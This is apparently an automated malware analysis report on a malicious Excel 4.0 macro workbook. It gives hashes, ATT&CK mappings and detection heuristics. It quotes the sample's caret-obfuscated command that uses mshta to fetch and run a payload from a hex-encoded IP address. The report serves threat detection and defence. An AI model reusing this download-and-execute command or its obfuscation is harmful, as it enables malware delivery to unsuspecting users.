Office (OLE) / .XLS malware analysis — malicious · bbb6361f255baaa9

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: 8a058232640ca5c96df259041b847c4a SHA-1: c36bd11112f4e5d30373ff3910928f2b918c3fed SHA-256: bbb6361f255baaa93e6da61b42c14f3e76cf84359f3e112bc29d0a485178d6a1

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1566.001 Phishing: Spearphishing Attachment T1059.001 Command and Scripting Interpreter: PowerShell

The sample uses a 'Protected' document lure to trick the user into enabling macros. The embedded Excel 4.0 (XLM) macros execute a shell command to download a payload from 'http://0xc12a24f5/c.html' and 'http://0xc12a24f5/cc.html' via mstsc.exe or mshta.exe via the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html'.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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